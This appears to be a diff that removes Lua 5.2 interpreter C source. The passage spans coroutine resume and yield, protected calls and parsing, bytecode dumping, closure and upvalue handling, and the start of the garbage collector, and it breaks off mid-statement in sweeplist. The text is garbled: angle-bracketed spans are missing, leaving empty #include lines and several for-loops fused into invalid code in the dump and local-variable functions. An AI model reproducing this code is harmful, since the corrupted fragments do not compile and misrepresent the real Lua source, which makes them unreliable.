luaD_rawrunprotected(L, unroll, NULL); /* run continuation */ - else { /* unrecoverable error */ - L->status = cast_byte(status); /* mark thread as `dead' */ - seterrorobj(L, status, L->top); - L->ci->top = L->top; - break; - } - } - lua_assert(status == L->status); - } - L->nny = 1; /* do not allow yields */ - L->nCcalls--; - lua_assert(L->nCcalls == ((from) ? from->nCcalls : 0)); - lua_unlock(L); - return status; -} - - -LUA_API int lua_yieldk (lua_State *L, int nresults, int ctx, lua_CFunction k) { - CallInfo *ci = L->ci; - luai_userstateyield(L, nresults); - lua_lock(L); - api_checknelems(L, nresults); - if (L->nny > 0) { - if (L != G(L)->mainthread) - luaG_runerror(L, "attempt to yield across metamethod/C-call boundary"); - else - luaG_runerror(L, "attempt to yield from outside a coroutine"); - } - L->status = LUA_YIELD; - ci->extra = savestack(L, ci->func); /* save current 'func' */ - if (isLua(ci)) { /* inside a hook? */ - api_check(L, k == NULL, "hooks cannot continue after yielding"); - } - else { - if ((ci->u.c.k = k) != NULL) /* is there a continuation? */ - ci->u.c.ctx = ctx; /* save context */ - ci->func = L->top - nresults - 1; /* protect stack below results */ - luaD_throw(L, LUA_YIELD); - } - lua_assert(ci->callstatus & CIST_HOOKED); /* must be inside a hook */ - lua_unlock(L); - return 0; /* return to 'luaD_hook' */ -} - - -int luaD_pcall (lua_State *L, Pfunc func, void *u, - ptrdiff_t old_top, ptrdiff_t ef) { - int status; - CallInfo *old_ci = L->ci; - lu_byte old_allowhooks = L->allowhook; - unsigned short old_nny = L->nny; - ptrdiff_t old_errfunc = L->errfunc; - L->errfunc = ef; - status = luaD_rawrunprotected(L, func, u); - if (status != LUA_OK) { /* an error occurred? */ - StkId oldtop = restorestack(L, old_top); - luaF_close(L, oldtop); /* close possible pending closures */ - seterrorobj(L, status, oldtop); - L->ci = old_ci; - L->allowhook = old_allowhooks; - L->nny = old_nny; - luaD_shrinkstack(L); - } - L->errfunc = old_errfunc; - return status; -} - - - -/* -** Execute a protected parser. -*/ -struct SParser { /* data to `f_parser' */ - ZIO *z; - Mbuffer buff; /* dynamic structure used by the scanner */ - Dyndata dyd; /* dynamic structures used by the parser */ - const char *mode; - const char *name; -}; - - -static void checkmode (lua_State *L, const char *mode, const char *x) { - if (mode && strchr(mode, x[0]) == NULL) { - luaO_pushfstring(L, - "attempt to load a %s chunk (mode is " LUA_QS ")", x, mode); - luaD_throw(L, LUA_ERRSYNTAX); - } -} - - -static void f_parser (lua_State *L, void *ud) { - int i; - Closure *cl; - struct SParser *p = cast(struct SParser *, ud); - int c = zgetc(p->z); /* read first character */ - if (c == LUA_SIGNATURE[0]) { - checkmode(L, p->mode, "binary"); - cl = luaU_undump(L, p->z, &p->buff, p->name); - } - else { - checkmode(L, p->mode, "text"); - cl = luaY_parser(L, p->z, &p->buff, &p->dyd, p->name, c); - } - lua_assert(cl->l.nupvalues == cl->l.p->sizeupvalues); - for (i = 0; i < cl->l.nupvalues; i++) { /* initialize upvalues */ - UpVal *up = luaF_newupval(L); - cl->l.upvals[i] = up; - luaC_objbarrier(L, cl, up); - } -} - - -int luaD_protectedparser (lua_State *L, ZIO *z, const char *name, - const char *mode) { - struct SParser p; - int status; - L->nny++; /* cannot yield during parsing */ - p.z = z; p.name = name; p.mode = mode; - p.dyd.actvar.arr = NULL; p.dyd.actvar.size = 0; - p.dyd.gt.arr = NULL; p.dyd.gt.size = 0; - p.dyd.label.arr = NULL; p.dyd.label.size = 0; - luaZ_initbuffer(L, &p.buff); - status = luaD_pcall(L, f_parser, &p, savestack(L, L->top), L->errfunc); - luaZ_freebuffer(L, &p.buff); - luaM_freearray(L, p.dyd.actvar.arr, p.dyd.actvar.size); - luaM_freearray(L, p.dyd.gt.arr, p.dyd.gt.size); - luaM_freearray(L, p.dyd.label.arr, p.dyd.label.size); - L->nny--; - return status; -} - - -/* -** $Id: ldump.c,v 2.17 2012/01/23 23:02:10 roberto Exp $ -** save precompiled Lua chunks -** See Copyright Notice in lua.h -*/ - -#include - -#define ldump_c -#define LUA_CORE - - - -typedef struct { - lua_State* L; - lua_Writer writer; - void* data; - int strip; - int status; -} DumpState; - -#define DumpMem(b,n,size,D) DumpBlock(b,(n)*(size),D) -#define DumpVar(x,D) DumpMem(&x,1,sizeof(x),D) - -static void DumpBlock(const void* b, size_t size, DumpState* D) -{ - if (D->status==0) - { - lua_unlock(D->L); - D->status=(*D->writer)(D->L,b,size,D->data); - lua_lock(D->L); - } -} - -static void DumpChar(int y, DumpState* D) -{ - char x=(char)y; - DumpVar(x,D); -} - -static void DumpInt(int x, DumpState* D) -{ - DumpVar(x,D); -} - -static void DumpNumber(lua_Number x, DumpState* D) -{ - DumpVar(x,D); -} - -static void DumpVector(const void* b, int n, size_t size, DumpState* D) -{ - DumpInt(n,D); - DumpMem(b,n,size,D); -} - -static void DumpString(const TString* s, DumpState* D) -{ - if (s==NULL) - { - size_t size=0; - DumpVar(size,D); - } - else - { - size_t size=s->tsv.len+1; /* include trailing '\0' */ - DumpVar(size,D); - DumpBlock(getstr(s),size*sizeof(char),D); - } -} - -#define DumpCode(f,D) DumpVector(f->code,f->sizecode,sizeof(Instruction),D) - -static void DumpFunction(const Proto* f, DumpState* D); - -static void DumpConstants(const Proto* f, DumpState* D) -{ - int i,n=f->sizek; - DumpInt(n,D); - for (i=0; ik[i]; - DumpChar(ttypenv(o),D); - switch (ttypenv(o)) - { - case LUA_TNIL: - break; - case LUA_TBOOLEAN: - DumpChar(bvalue(o),D); - break; - case LUA_TNUMBER: - DumpNumber(nvalue(o),D); - break; - case LUA_TSTRING: - DumpString(rawtsvalue(o),D); - break; - default: lua_assert(0); - } - } - n=f->sizep; - DumpInt(n,D); - for (i=0; ip[i],D); -} - -static void DumpUpvalues(const Proto* f, DumpState* D) -{ - int i,n=f->sizeupvalues; - DumpInt(n,D); - for (i=0; iupvalues[i].instack,D); - DumpChar(f->upvalues[i].idx,D); - } -} - -static void DumpDebug(const Proto* f, DumpState* D) -{ - int i,n; - DumpString((D->strip) ? NULL : f->source,D); - n= (D->strip) ? 0 : f->sizelineinfo; - DumpVector(f->lineinfo,n,sizeof(int),D); - n= (D->strip) ? 0 : f->sizelocvars; - DumpInt(n,D); - for (i=0; ilocvars[i].varname,D); - DumpInt(f->locvars[i].startpc,D); - DumpInt(f->locvars[i].endpc,D); - } - n= (D->strip) ? 0 : f->sizeupvalues; - DumpInt(n,D); - for (i=0; iupvalues[i].name,D); -} - -static void DumpFunction(const Proto* f, DumpState* D) -{ - DumpInt(f->linedefined,D); - DumpInt(f->lastlinedefined,D); - DumpChar(f->numparams,D); - DumpChar(f->is_vararg,D); - DumpChar(f->maxstacksize,D); - DumpCode(f,D); - DumpConstants(f,D); - DumpUpvalues(f,D); - DumpDebug(f,D); -} - -static void DumpHeader(DumpState* D) -{ - lu_byte h[LUAC_HEADERSIZE]; - luaU_header(h); - DumpBlock(h,LUAC_HEADERSIZE,D); -} - -/* -** dump Lua function as precompiled chunk -*/ -int luaU_dump (lua_State* L, const Proto* f, lua_Writer w, void* data, int strip) -{ - DumpState D; - D.L=L; - D.writer=w; - D.data=data; - D.strip=strip; - D.status=0; - DumpHeader(&D); - DumpFunction(f,&D); - return D.status; -} -/* -** $Id: lfunc.c,v 2.29 2012/05/08 13:53:33 roberto Exp $ -** Auxiliary functions to manipulate prototypes and closures -** See Copyright Notice in lua.h -*/ - - -#include - -#define lfunc_c -#define LUA_CORE - - - - - -Closure *luaF_newCclosure (lua_State *L, int n) { - Closure *c = &luaC_newobj(L, LUA_TCCL, sizeCclosure(n), NULL, 0)->cl; - c->c.nupvalues = cast_byte(n); - return c; -} - - -Closure *luaF_newLclosure (lua_State *L, int n) { - Closure *c = &luaC_newobj(L, LUA_TLCL, sizeLclosure(n), NULL, 0)->cl; - c->l.p = NULL; - c->l.nupvalues = cast_byte(n); - while (n--) c->l.upvals[n] = NULL; - return c; -} - - -UpVal *luaF_newupval (lua_State *L) { - UpVal *uv = &luaC_newobj(L, LUA_TUPVAL, sizeof(UpVal), NULL, 0)->uv; - uv->v = &uv->u.value; - setnilvalue(uv->v); - return uv; -} - - -UpVal *luaF_findupval (lua_State *L, StkId level) { - global_State *g = G(L); - GCObject **pp = &L->openupval; - UpVal *p; - UpVal *uv; - while (*pp != NULL && (p = gco2uv(*pp))->v >= level) { - GCObject *o = obj2gco(p); - lua_assert(p->v != &p->u.value); - if (p->v == level) { /* found a corresponding upvalue? */ - if (isdead(g, o)) /* is it dead? */ - changewhite(o); /* resurrect it */ - return p; - } - resetoldbit(o); /* may create a newer upval after this one */ - pp = &p->next; - } - /* not found: create a new one */ - uv = &luaC_newobj(L, LUA_TUPVAL, sizeof(UpVal), pp, 0)->uv; - uv->v = level; /* current value lives in the stack */ - uv->u.l.prev = &g->uvhead; /* double link it in `uvhead' list */ - uv->u.l.next = g->uvhead.u.l.next; - uv->u.l.next->u.l.prev = uv; - g->uvhead.u.l.next = uv; - lua_assert(uv->u.l.next->u.l.prev == uv && uv->u.l.prev->u.l.next == uv); - return uv; -} - - -static void unlinkupval (UpVal *uv) { - lua_assert(uv->u.l.next->u.l.prev == uv && uv->u.l.prev->u.l.next == uv); - uv->u.l.next->u.l.prev = uv->u.l.prev; /* remove from `uvhead' list */ - uv->u.l.prev->u.l.next = uv->u.l.next; -} - - -void luaF_freeupval (lua_State *L, UpVal *uv) { - if (uv->v != &uv->u.value) /* is it open? */ - unlinkupval(uv); /* remove from open list */ - luaM_free(L, uv); /* free upvalue */ -} - - -void luaF_close (lua_State *L, StkId level) { - UpVal *uv; - global_State *g = G(L); - while (L->openupval != NULL && (uv = gco2uv(L->openupval))->v >= level) { - GCObject *o = obj2gco(uv); - lua_assert(!isblack(o) && uv->v != &uv->u.value); - L->openupval = uv->next; /* remove from `open' list */ - if (isdead(g, o)) - luaF_freeupval(L, uv); /* free upvalue */ - else { - unlinkupval(uv); /* remove upvalue from 'uvhead' list */ - setobj(L, &uv->u.value, uv->v); /* move value to upvalue slot */ - uv->v = &uv->u.value; /* now current value lives here */ - gch(o)->next = g->allgc; /* link upvalue into 'allgc' list */ - g->allgc = o; - luaC_checkupvalcolor(g, uv); - } - } -} - - -Proto *luaF_newproto (lua_State *L) { - Proto *f = &luaC_newobj(L, LUA_TPROTO, sizeof(Proto), NULL, 0)->p; - f->k = NULL; - f->sizek = 0; - f->p = NULL; - f->sizep = 0; - f->code = NULL; - f->cache = NULL; - f->sizecode = 0; - f->lineinfo = NULL; - f->sizelineinfo = 0; - f->upvalues = NULL; - f->sizeupvalues = 0; - f->numparams = 0; - f->is_vararg = 0; - f->maxstacksize = 0; - f->locvars = NULL; - f->sizelocvars = 0; - f->linedefined = 0; - f->lastlinedefined = 0; - f->source = NULL; - return f; -} - - -void luaF_freeproto (lua_State *L, Proto *f) { - luaM_freearray(L, f->code, f->sizecode); - luaM_freearray(L, f->p, f->sizep); - luaM_freearray(L, f->k, f->sizek); - luaM_freearray(L, f->lineinfo, f->sizelineinfo); - luaM_freearray(L, f->locvars, f->sizelocvars); - luaM_freearray(L, f->upvalues, f->sizeupvalues); - luaM_free(L, f); -} - - -/* -** Look for n-th local variable at line `line' in function `func'. -** Returns NULL if not found. -*/ -const char *luaF_getlocalname (const Proto *f, int local_number, int pc) { - int i; - for (i = 0; isizelocvars && f->locvars[i].startpc <= pc; i++) { - if (pc < f->locvars[i].endpc) { /* is variable active? */ - local_number--; - if (local_number == 0) - return getstr(f->locvars[i].varname); - } - } - return NULL; /* not found */ -} - -/* -** $Id: lgc.c,v 2.133 2012/05/31 21:28:59 roberto Exp $ -** Garbage Collector -** See Copyright Notice in lua.h -*/ - -#include - -#define lgc_c -#define LUA_CORE - - - - - -/* -** cost of sweeping one element (the size of a small object divided -** by some adjust for the sweep speed) -*/ -#define GCSWEEPCOST ((sizeof(TString) + 4) / 4) - -/* maximum number of elements to sweep in each single step */ -#define GCSWEEPMAX (cast_int((GCSTEPSIZE / GCSWEEPCOST) / 4)) - -/* maximum number of finalizers to call in each GC step */ -#define GCFINALIZENUM 4 - - -/* -** macro to adjust 'stepmul': 'stepmul' is actually used like -** 'stepmul / STEPMULADJ' (value chosen by tests) -*/ -#define STEPMULADJ 200 - -/* -** macro to adjust 'pause': 'pause' is actually used like -** 'pause / PAUSEADJ' (value chosen by tests) -*/ -#define PAUSEADJ 200 - - - - -/* -** standard negative debt for GC; a reasonable "time" to wait before -** starting a new cycle -*/ -#define stddebtest(g,e) (-cast(l_mem, (e)/PAUSEADJ) * g->gcpause) -#define stddebt(g) stddebtest(g, gettotalbytes(g)) - - -/* -** 'makewhite' erases all color bits plus the old bit and then -** sets only the current white bit -*/ -#define maskcolors (~(bit2mask(BLACKBIT, OLDBIT) | WHITEBITS)) -#define makewhite(g,x) \ - (gch(x)->marked = cast_byte((gch(x)->marked & maskcolors) | luaC_white(g))) - -#define white2gray(x) resetbits(gch(x)->marked, WHITEBITS) -#define black2gray(x) resetbit(gch(x)->marked, BLACKBIT) - - -#define isfinalized(x) testbit(gch(x)->marked, FINALIZEDBIT) - -#define checkdeadkey(n) lua_assert(!ttisdeadkey(gkey(n)) || ttisnil(gval(n))) - - -#define checkconsistency(obj) \ - lua_longassert(!iscollectable(obj) || righttt(obj)) - - -#define markvalue(g,o) { checkconsistency(o); \ - if (valiswhite(o)) reallymarkobject(g,gcvalue(o)); } - -#define markobject(g,t) { if ((t) && iswhite(obj2gco(t))) \ - reallymarkobject(g, obj2gco(t)); } - -static void reallymarkobject (global_State *g, GCObject *o); - - -/* -** {====================================================== -** Generic functions -** ======================================================= -*/ - - -/* -** one after last element in a hash array -*/ -#define gnodelast(h) gnode(h, cast(size_t, sizenode(h))) - - -/* -** link table 'h' into list pointed by 'p' -*/ -#define linktable(h,p) ((h)->gclist = *(p), *(p) = obj2gco(h)) - - -/* -** if key is not marked, mark its entry as dead (therefore removing it -** from the table) -*/ -static void removeentry (Node *n) { - lua_assert(ttisnil(gval(n))); - if (valiswhite(gkey(n))) - setdeadvalue(gkey(n)); /* unused and unmarked key; remove it */ -} - - -/* -** tells whether a key or value can be cleared from a weak -** table. Non-collectable objects are never removed from weak -** tables. Strings behave as `values', so are never removed too. for -** other objects: if really collected, cannot keep them; for objects -** being finalized, keep them in keys, but not in values -*/ -static int iscleared (global_State *g, const TValue *o) { - if (!iscollectable(o)) return 0; - else if (ttisstring(o)) { - markobject(g, rawtsvalue(o)); /* strings are `values', so are never weak */ - return 0; - } - else return iswhite(gcvalue(o)); -} - - -/* -** barrier that moves collector forward, that is, mark the white object -** being pointed by a black object. -*/ -void luaC_barrier_ (lua_State *L, GCObject *o, GCObject *v) { - global_State *g = G(L); - lua_assert(isblack(o) && iswhite(v) && !isdead(g, v) && !isdead(g, o)); - lua_assert(isgenerational(g) || g->gcstate != GCSpause); - lua_assert(gch(o)->tt != LUA_TTABLE); - if (keepinvariant(g)) /* must keep invariant? */ - reallymarkobject(g, v); /* restore invariant */ - else { /* sweep phase */ - lua_assert(issweepphase(g)); - makewhite(g, o); /* mark main obj. as white to avoid other barriers */ - } -} - - -/* -** barrier that moves collector backward, that is, mark the black object -** pointing to a white object as gray again. (Current implementation -** only works for tables; access to 'gclist' is not uniform across -** different types.) -*/ -void luaC_barrierback_ (lua_State *L, GCObject *o) { - global_State *g = G(L); - lua_assert(isblack(o) && !isdead(g, o) && gch(o)->tt == LUA_TTABLE); - black2gray(o); /* make object gray (again) */ - gco2t(o)->gclist = g->grayagain; - g->grayagain = o; -} - - -/* -** barrier for prototypes. When creating first closure (cache is -** NULL), use a forward barrier; this may be the only closure of the -** prototype (if it is a "regular" function, with a single instance) -** and the prototype may be big, so it is better to avoid traversing -** it again. Otherwise, use a backward barrier, to avoid marking all -** possible instances. -*/ -LUAI_FUNC void luaC_barrierproto_ (lua_State *L, Proto *p, Closure *c) { - global_State *g = G(L); - lua_assert(isblack(obj2gco(p))); - if (p->cache == NULL) { /* first time? */ - luaC_objbarrier(L, p, c); - } - else { /* use a backward barrier */ - black2gray(obj2gco(p)); /* make prototype gray (again) */ - p->gclist = g->grayagain; - g->grayagain = obj2gco(p); - } -} - - -/* -** check color (and invariants) for an upvalue that was closed, -** i.e., moved into the 'allgc' list -*/ -void luaC_checkupvalcolor (global_State *g, UpVal *uv) { - GCObject *o = obj2gco(uv); - lua_assert(!isblack(o)); /* open upvalues are never black */ - if (isgray(o)) { - if (keepinvariant(g)) { - resetoldbit(o); /* see MOVE OLD rule */ - gray2black(o); /* it is being visited now */ - markvalue(g, uv->v); - } - else { - lua_assert(issweepphase(g)); - makewhite(g, o); - } - } -} - - -/* -** create a new collectable object (with given type and size) and link -** it to '*list'. 'offset' tells how many bytes to allocate before the -** object itself (used only by states). -*/ -GCObject *luaC_newobj (lua_State *L, int tt, size_t sz, GCObject **list, - int offset) { - global_State *g = G(L); - char *raw = cast(char *, luaM_newobject(L, novariant(tt), sz)); - GCObject *o = obj2gco(raw + offset); - if (list == NULL) - list = &g->allgc; /* standard list for collectable objects */ - gch(o)->marked = luaC_white(g); - gch(o)->tt = tt; - gch(o)->next = *list; - *list = o; - return o; -} - -/* }====================================================== */ - - - -/* -** {====================================================== -** Mark functions -** ======================================================= -*/ - - -/* -** mark an object. Userdata, strings, and closed upvalues are visited -** and turned black here. Other objects are marked gray and added -** to appropriate list to be visited (and turned black) later. (Open -** upvalues are already linked in 'headuv' list.) -*/ -static void reallymarkobject (global_State *g, GCObject *o) { - lu_mem size; - white2gray(o); - switch (gch(o)->tt) { - case LUA_TSHRSTR: - case LUA_TLNGSTR: { - size = sizestring(gco2ts(o)); - break; /* nothing else to mark; make it black */ - } - case LUA_TUSERDATA: { - Table *mt = gco2u(o)->metatable; - markobject(g, mt); - markobject(g, gco2u(o)->env); - size = sizeudata(gco2u(o)); - break; - } - case LUA_TUPVAL: { - UpVal *uv = gco2uv(o); - markvalue(g, uv->v); - if (uv->v != &uv->u.value) /* open? */ - return; /* open upvalues remain gray */ - size = sizeof(UpVal); - break; - } - case LUA_TLCL: { - gco2lcl(o)->gclist = g->gray; - g->gray = o; - return; - } - case LUA_TCCL: { - gco2ccl(o)->gclist = g->gray; - g->gray = o; - return; - } - case LUA_TTABLE: { - linktable(gco2t(o), &g->gray); - return; - } - case LUA_TTHREAD: { - gco2th(o)->gclist = g->gray; - g->gray = o; - return; - } - case LUA_TPROTO: { - gco2p(o)->gclist = g->gray; - g->gray = o; - return; - } - default: lua_assert(0); return; - } - gray2black(o); - g->GCmemtrav += size; -} - - -/* -** mark metamethods for basic types -*/ -static void markmt (global_State *g) { - int i; - for (i=0; i < LUA_NUMTAGS; i++) - markobject(g, g->mt[i]); -} - - -/* -** mark all objects in list of being-finalized -*/ -static void markbeingfnz (global_State *g) { - GCObject *o; - for (o = g->tobefnz; o != NULL; o = gch(o)->next) { - makewhite(g, o); - reallymarkobject(g, o); - } -} - - -/* -** mark all values stored in marked open upvalues. (See comment in -** 'lstate.h'.) -*/ -static void remarkupvals (global_State *g) { - UpVal *uv; - for (uv = g->uvhead.u.l.next; uv != &g->uvhead; uv = uv->u.l.next) { - if (isgray(obj2gco(uv))) - markvalue(g, uv->v); - } -} - - -/* -** mark root set and reset all gray lists, to start a new -** incremental (or full) collection -*/ -static void markroot (global_State *g) { - g->gray = g->grayagain = NULL; - g->weak = g->allweak = g->ephemeron = NULL; - markobject(g, g->mainthread); - markvalue(g, &g->l_registry); - markmt(g); - markbeingfnz(g); /* mark any finalizing object left from previous cycle */ -} - -/* }====================================================== */ - - -/* -** {====================================================== -** Traverse functions -** ======================================================= -*/ - -static void traverseweakvalue (global_State *g, Table *h) { - Node *n, *limit = gnodelast(h); - /* if there is array part, assume it may have white values (do not - traverse it just to check) */ - int hasclears = (h->sizearray > 0); - for (n = gnode(h, 0); n < limit; n++) { - checkdeadkey(n); - if (ttisnil(gval(n))) /* entry is empty? */ - removeentry(n); /* remove it */ - else { - lua_assert(!ttisnil(gkey(n))); - markvalue(g, gkey(n)); /* mark key */ - if (!hasclears && iscleared(g, gval(n))) /* is there a white value? */ - hasclears = 1; /* table will have to be cleared */ - } - } - if (hasclears) - linktable(h, &g->weak); /* has to be cleared later */ - else /* no white values */ - linktable(h, &g->grayagain); /* no need to clean */ -} - - -static int traverseephemeron (global_State *g, Table *h) { - int marked = 0; /* true if an object is marked in this traversal */ - int hasclears = 0; /* true if table has white keys */ - int prop = 0; /* true if table has entry "white-key -> white-value" */ - Node *n, *limit = gnodelast(h); - int i; - /* traverse array part (numeric keys are 'strong') */ - for (i = 0; i < h->sizearray; i++) { - if (valiswhite(&h->array[i])) { - marked = 1; - reallymarkobject(g, gcvalue(&h->array[i])); - } - } - /* traverse hash part */ - for (n = gnode(h, 0); n < limit; n++) { - checkdeadkey(n); - if (ttisnil(gval(n))) /* entry is empty? */ - removeentry(n); /* remove it */ - else if (iscleared(g, gkey(n))) { /* key is not marked (yet)? */ - hasclears = 1; /* table must be cleared */ - if (valiswhite(gval(n))) /* value not marked yet? */ - prop = 1; /* must propagate again */ - } - else if (valiswhite(gval(n))) { /* value not marked yet? */ - marked = 1; - reallymarkobject(g, gcvalue(gval(n))); /* mark it now */ - } - } - if (prop) - linktable(h, &g->ephemeron); /* have to propagate again */ - else if (hasclears) /* does table have white keys? */ - linktable(h, &g->allweak); /* may have to clean white keys */ - else /* no white keys */ - linktable(h, &g->grayagain); /* no need to clean */ - return marked; -} - - -static void traversestrongtable (global_State *g, Table *h) { - Node *n, *limit = gnodelast(h); - int i; - for (i = 0; i < h->sizearray; i++) /* traverse array part */ - markvalue(g, &h->array[i]); - for (n = gnode(h, 0); n < limit; n++) { /* traverse hash part */ - checkdeadkey(n); - if (ttisnil(gval(n))) /* entry is empty? */ - removeentry(n); /* remove it */ - else { - lua_assert(!ttisnil(gkey(n))); - markvalue(g, gkey(n)); /* mark key */ - markvalue(g, gval(n)); /* mark value */ - } - } -} - - -static lu_mem traversetable (global_State *g, Table *h) { - const char *weakkey, *weakvalue; - const TValue *mode = gfasttm(g, h->metatable, TM_MODE); - markobject(g, h->metatable); - if (mode && ttisstring(mode) && /* is there a weak mode? */ - ((weakkey = strchr(svalue(mode), 'k')), - (weakvalue = strchr(svalue(mode), 'v')), - (weakkey || weakvalue))) { /* is really weak? */ - black2gray(obj2gco(h)); /* keep table gray */ - if (!weakkey) /* strong keys? */ - traverseweakvalue(g, h); - else if (!weakvalue) /* strong values? */ - traverseephemeron(g, h); - else /* all weak */ - linktable(h, &g->allweak); /* nothing to traverse now */ - } - else /* not weak */ - traversestrongtable(g, h); - return sizeof(Table) + sizeof(TValue) * h->sizearray + - sizeof(Node) * sizenode(h); -} - - -static int traverseproto (global_State *g, Proto *f) { - int i; - if (f->cache && iswhite(obj2gco(f->cache))) - f->cache = NULL; /* allow cache to be collected */ - markobject(g, f->source); - for (i = 0; i < f->sizek; i++) /* mark literals */ - markvalue(g, &f->k[i]); - for (i = 0; i < f->sizeupvalues; i++) /* mark upvalue names */ - markobject(g, f->upvalues[i].name); - for (i = 0; i < f->sizep; i++) /* mark nested protos */ - markobject(g, f->p[i]); - for (i = 0; i < f->sizelocvars; i++) /* mark local-variable names */ - markobject(g, f->locvars[i].varname); - return sizeof(Proto) + sizeof(Instruction) * f->sizecode + - sizeof(Proto *) * f->sizep + - sizeof(TValue) * f->sizek + - sizeof(int) * f->sizelineinfo + - sizeof(LocVar) * f->sizelocvars + - sizeof(Upvaldesc) * f->sizeupvalues; -} - - -static lu_mem traverseCclosure (global_State *g, CClosure *cl) { - int i; - for (i = 0; i < cl->nupvalues; i++) /* mark its upvalues */ - markvalue(g, &cl->upvalue[i]); - return sizeCclosure(cl->nupvalues); -} - -static lu_mem traverseLclosure (global_State *g, LClosure *cl) { - int i; - markobject(g, cl->p); /* mark its prototype */ - for (i = 0; i < cl->nupvalues; i++) /* mark its upvalues */ - markobject(g, cl->upvals[i]); - return sizeLclosure(cl->nupvalues); -} - - -static lu_mem traversestack (global_State *g, lua_State *th) { - StkId o = th->stack; - if (o == NULL) - return 1; /* stack not completely built yet */ - for (; o < th->top; o++) - markvalue(g, o); - if (g->gcstate == GCSatomic) { /* final traversal? */ - StkId lim = th->stack + th->stacksize; /* real end of stack */ - for (; o < lim; o++) /* clear not-marked stack slice */ - setnilvalue(o); - } - return sizeof(lua_State) + sizeof(TValue) * th->stacksize; -} - - -/* -** traverse one gray object, turning it to black (except for threads, -** which are always gray). -*/ -static void propagatemark (global_State *g) { - lu_mem size; - GCObject *o = g->gray; - lua_assert(isgray(o)); - gray2black(o); - switch (gch(o)->tt) { - case LUA_TTABLE: { - Table *h = gco2t(o); - g->gray = h->gclist; /* remove from 'gray' list */ - size = traversetable(g, h); - break; - } - case LUA_TLCL: { - LClosure *cl = gco2lcl(o); - g->gray = cl->gclist; /* remove from 'gray' list */ - size = traverseLclosure(g, cl); - break; - } - case LUA_TCCL: { - CClosure *cl = gco2ccl(o); - g->gray = cl->gclist; /* remove from 'gray' list */ - size = traverseCclosure(g, cl); - break; - } - case LUA_TTHREAD: { - lua_State *th = gco2th(o); - g->gray = th->gclist; /* remove from 'gray' list */ - th->gclist = g->grayagain; - g->grayagain = o; /* insert into 'grayagain' list */ - black2gray(o); - size = traversestack(g, th); - break; - } - case LUA_TPROTO: { - Proto *p = gco2p(o); - g->gray = p->gclist; /* remove from 'gray' list */ - size = traverseproto(g, p); - break; - } - default: lua_assert(0); return; - } - g->GCmemtrav += size; -} - - -static void propagateall (global_State *g) { - while (g->gray) propagatemark(g); -} - - -static void propagatelist (global_State *g, GCObject *l) { - lua_assert(g->gray == NULL); /* no grays left */ - g->gray = l; - propagateall(g); /* traverse all elements from 'l' */ -} - -/* -** retraverse all gray lists. Because tables may be reinserted in other -** lists when traversed, traverse the original lists to avoid traversing -** twice the same table (which is not wrong, but inefficient) -*/ -static void retraversegrays (global_State *g) { - GCObject *weak = g->weak; /* save original lists */ - GCObject *grayagain = g->grayagain; - GCObject *ephemeron = g->ephemeron; - g->weak = g->grayagain = g->ephemeron = NULL; - propagateall(g); /* traverse main gray list */ - propagatelist(g, grayagain); - propagatelist(g, weak); - propagatelist(g, ephemeron); -} - - -static void convergeephemerons (global_State *g) { - int changed; - do { - GCObject *w; - GCObject *next = g->ephemeron; /* get ephemeron list */ - g->ephemeron = NULL; /* tables will return to this list when traversed */ - changed = 0; - while ((w = next) != NULL) { - next = gco2t(w)->gclist; - if (traverseephemeron(g, gco2t(w))) { /* traverse marked some value? */ - propagateall(g); /* propagate changes */ - changed = 1; /* will have to revisit all ephemeron tables */ - } - } - } while (changed); -} - -/* }====================================================== */ - - -/* -** {====================================================== -** Sweep Functions -** ======================================================= -*/ - - -/* -** clear entries with unmarked keys from all weaktables in list 'l' up -** to element 'f' -*/ -static void clearkeys (global_State *g, GCObject *l, GCObject *f) { - for (; l != f; l = gco2t(l)->gclist) { - Table *h = gco2t(l); - Node *n, *limit = gnodelast(h); - for (n = gnode(h, 0); n < limit; n++) { - if (!ttisnil(gval(n)) && (iscleared(g, gkey(n)))) { - setnilvalue(gval(n)); /* remove value ... */ - removeentry(n); /* and remove entry from table */ - } - } - } -} - - -/* -** clear entries with unmarked values from all weaktables in list 'l' up -** to element 'f' -*/ -static void clearvalues (global_State *g, GCObject *l, GCObject *f) { - for (; l != f; l = gco2t(l)->gclist) { - Table *h = gco2t(l); - Node *n, *limit = gnodelast(h); - int i; - for (i = 0; i < h->sizearray; i++) { - TValue *o = &h->array[i]; - if (iscleared(g, o)) /* value was collected? */ - setnilvalue(o); /* remove value */ - } - for (n = gnode(h, 0); n < limit; n++) { - if (!ttisnil(gval(n)) && iscleared(g, gval(n))) { - setnilvalue(gval(n)); /* remove value ... */ - removeentry(n); /* and remove entry from table */ - } - } - } -} - - -static void freeobj (lua_State *L, GCObject *o) { - switch (gch(o)->tt) { - case LUA_TPROTO: luaF_freeproto(L, gco2p(o)); break; - case LUA_TLCL: { - luaM_freemem(L, o, sizeLclosure(gco2lcl(o)->nupvalues)); - break; - } - case LUA_TCCL: { - luaM_freemem(L, o, sizeCclosure(gco2ccl(o)->nupvalues)); - break; - } - case LUA_TUPVAL: luaF_freeupval(L, gco2uv(o)); break; - case LUA_TTABLE: luaH_free(L, gco2t(o)); break; - case LUA_TTHREAD: luaE_freethread(L, gco2th(o)); break; - case LUA_TUSERDATA: luaM_freemem(L, o, sizeudata(gco2u(o))); break; - case LUA_TSHRSTR: - G(L)->strt.nuse--; - /* go through */ - case LUA_TLNGSTR: { - luaM_freemem(L, o, sizestring(gco2ts(o))); - break; - } - default: lua_assert(0); - } -} - - -#define sweepwholelist(L,p) sweeplist(L,p,MAX_LUMEM) -static GCObject **sweeplist (lua_State *L, GCObject **p, lu_mem count); - - -/* -** sweep the (open) upvalues of a thread and resize its stack and -** list of call-info structures. -*/ -static void sweepthread (lua_State *L, lua_State *L1) { - if (L1->stack == NULL) return; /* stack not completely built yet */ - sweepwholelist(L, &L1->openupval); /* sweep open upvalues */ - luaE_freeCI(L1); /* free extra CallInfo slots */ - /* should not change the stack during an emergency gc cycle */ - if (G(L)->gckind != KGC_EMERGENCY) - luaD_shrinkstack(L1); -} - - -/* -** sweep at most 'count' elements from a list of GCObjects erasing dead -** objects, where a dead (not alive) object is one marked with the "old" -** (non current) white and not fixed. -** In non-generational mode, change all non-dead objects back to white, -** preparing for next collection cycle. -** In generational mode, keep black objects black, and also mark them as -** old; stop when hitting an old object, as all objects after that -** one will be old too. -** When object is a thread, sweep its list of open upvalues too. -*/ -static GCObject **sweeplist (lua_State *L, GCObject **p, lu_mem count) { - global_State *g = G(L); - int ow = otherwhite(g); - int toclear, toset; /* bits to clear and to set in all live objects */ - int tostop; /* stop sweep when this is true */ - if (isgenerational(g)) { /* generational mode? */ - toclear = 